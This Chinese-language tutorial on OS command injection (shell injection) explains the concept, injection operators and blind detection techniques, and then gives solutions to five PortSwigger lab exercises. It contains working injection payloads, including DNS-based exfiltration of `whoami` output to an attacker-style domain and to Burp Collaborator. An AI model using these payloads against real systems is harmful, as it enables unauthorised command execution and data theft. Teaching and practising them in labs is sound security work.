欢迎关注订阅专栏!
WEB安全系列包括如下三个专栏:
- 《WEB安全基础-服务器端漏洞》
- 《WEB安全基础-客户端漏洞》
- 《WEB安全高级-综合利用》
知识点全面细致,逻辑清晰、结合实战,并配有大量练习靶场,让你读一篇、练一篇,掌握一篇,在学习路上事半功倍,少走弯路!
欢迎关注订阅专栏!
- 专栏文章追求对知识点的全面总结,逻辑严密,方便学习掌握。力求做到看完一篇文章,掌握一类漏洞知识。让读者简洁高效的掌握WEB安全知识框架,推开入门深造的大门。
- 绝不为了追求文章数量,彰显内容丰富而故意拆散相关知识点。避免读者沉迷在无尽的技巧中而迷失进阶的道路!本系列的目标是授之以渔,而不仅仅是技巧的堆砌。
- 每篇文章均配有大量靶场,点击文章中靶场名即可跳转练习(靶场在网站注册即可免费使用)。
- 欢迎订阅专栏!建议学完两个基础专栏,再学习高级哦~
WEB安全基础入门—操作系统命令注入(shell 注入)
- 1. 什么是操作系统命令注入
- 2. 攻击流程解析
- 3. 常用命令
- 4. 命令注入盲注漏洞
- 5. 常用注入操作符
- 6. 漏洞实例
- 1. 操作系统命令注入,简单案例 ([OS command injection, simple case](https://portswigger.net/web-security/os-command-injection/lab-simple))
- 2. 带有时延的操作系统命令盲注入 ([Blind OS command injection with time delays](https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays))
- 3. 带有输出重定向的盲注操作系统命令注入([Blind OS command injection with output redirection](https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection))
- 4. 带外交互的盲注操作系统命令注入 ([Blind OS command injection with out-of-band interaction](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band))
- 5. 带外数据外泄的盲注操作系统命令注入([Blind OS command injection with out-of-band data exfiltration](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration))
1. 什么是操作系统命令注入
攻击者可在服务器端执行任意系统(OS)命令,获取敏感数据。通常攻击者会尝试利用系统内部的信任关系,将攻击转移到系统内的其他系统,获取更大权限。
2. 攻击流程解析
以电商网站为例,经常有查询库存余量的功能,URL如下
https://insecure-website.com/stockStatus?productID=381&storeID=29
后台在处理此URL时,调用库存查询接口,由于历史原因,接口往往需要使用shell命令调用其他系统模块。类似如下命令
stockreport.pl 381 29
.pl 是perl语言源程序文件的扩展名,参数值将作为参数传入该“脚本”进行调用库存余量查询。
如果将该脚本参数改为如下
stockreport.pl & echo aiwefwlguh & 29
&为系统命令分隔符,会将上述一条命令差分为3条系统命令,显示结果如下:
Error - productID was not provided (stockreport.pl未得到有效参数,报错)
aiwefwlguh(echo命令执行)
29: command not found (系统无法辨别的命令)
例题 1
3. 常用命令
发现漏洞后,应执行一些基础命令,查看相关系统信息。
目标 | Linux | Windows |
---|---|---|
当前用户名 | whoami | whoami |
操作系统 | uname -a | ver |
网络配置 | ifconfig | ipconfig /all |
网络连接状态 | netstat -an | netstat -an |
运行进程 | ps -ef | tasklist |
4. 命令注入盲注漏洞
有些命令注入命令,不会随响应包响应任何结果。如反馈信息页,当用户完成了反馈,点击提交后。系统允许会生成如下邮件命令发送给管理员
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
这个命令就算存在的命令注入漏洞,但是在用户web端不会有任何回显。
但我们可以尝试以下方式进行测试漏洞是否存在
利用时间延迟测试漏洞存在
& ping -c 10 127.0.0.1 &
系统若存在漏洞,将会发起10次ping命令,导致响应时间延迟。
例题2
利用输出重定向来获取结果
& whoami > /var/www/static/whoami.txt &
若命令执行成功,命令执行结果将会写入路径下的whoami.txt文件中。若能成功读取该文件,就能获取结果。
例题3
利用带外技术(OAST)获取结果
& nslookup kgji2ohoyw.web-attacker.com &
& nslookup
whoami.kgji2ohoyw.web-attacker.com &
使用命令nslookup来发起DNS对特定域名(攻击者控制的域名)的查询。通过查询访问记录获取结果
例题4、5
5. 常用注入操作符
window与类linux系统通用
- &
- &&
- |
- ||
类linux专用
- ;
- 0x0a or \n (换新行)
类linux行内命令执行
command
- $(command)
注意:命令注入要注意是否有引号等包裹,注意闭合后溢出,命令才能执行
6. 漏洞实例
1. 操作系统命令注入,简单案例 (OS command injection, simple case)
- 目标
在查看库存量功能处存在命令执行漏洞。执行whoami
命令回显当前用户
- 解题详情
productId=1&storeId=1|ps%20-ef
productId=1&storeId=1|whoami
productId=1&storeId=1;whoami
2. 带有时延的操作系统命令盲注入 (Blind OS command injection with time delays)
- 目标
在问题反馈功能处存在盲注命令执行漏洞,执行盲注
导致10s延迟
- 解题详情
name=fssa&email=123%40123.com||ping%20-c%2010%20192.168.1.1||&subject=13&message=adfs
name=fssa&email=123%40123.com;ping%20-c%2010%20192.168.1.1;&subject=13&message=adfs
3. 带有输出重定向的盲注操作系统命令注入(Blind OS command injection with output redirection)
- 目标
在问题反馈功能处存在盲注命令执行漏洞,执行whoami
命令,将结果输出重定向到/var/www/images/
,获取结果。
- 解题详情
POST /feedback/submit HTTP/1.1
Host: ac7f1f491f106b8fc08829fc00b50011.web-security-academy.net
csrf=f29VvEikq8kD255HWZvBLeu18JAX33Ei&name=1&email=123%40123.com||whoami%20>%20/var/www/images/result.txt||&subject=123&message=hello
GET /image?filename=result.txt HTTP/1.1
Host: ac7f1f491f106b8fc08829fc00b50011.web-security-academy.net
Cookie: session=TekRg9mt7CtTUqeyrHh8toH3lyZiUXTu
4. 带外交互的盲注操作系统命令注入 (Blind OS command injection with out-of-band interaction)
- 目标
在问题反馈功能处存在盲注命令执行漏洞,利用Burp Collaborator执行DNS lookup
命令
- 解题详情
POST /feedback/submit HTTP/1.1
Host: acc91f7c1e635f04c0c01cc100fa0054.web-security-academy.net
csrf=hLmRCnMINZA3RlaRBGIx6djbKV0t5911&name=2&email=123%40123.com||nslookup%20xxy8f3kz49690drczkiwx10zbqhg55.burpcollaborator.net||&subject=2&message=hello
5. 带外数据外泄的盲注操作系统命令注入(Blind OS command injection with out-of-band data exfiltration)
- 目标
在问题反馈功能处存在盲注命令执行漏洞,利用OAST技术获取当前用户名信息并提交。
- 解题详情
POST /feedback/submit HTTP/1.1
Host: aca51fa91ec5cbaec0d2294d00f300a8.web-security-academy.net
csrf=mJQ6zYNSkbeEGecCkoqfLemDT8pQeklX&name=3&email=123%40123.com||nslookup%20`whoami`.okcz2u7qr0t0n4e3mb5nksnqyh48sx.burpcollaborator.net||&subject=3&message=hello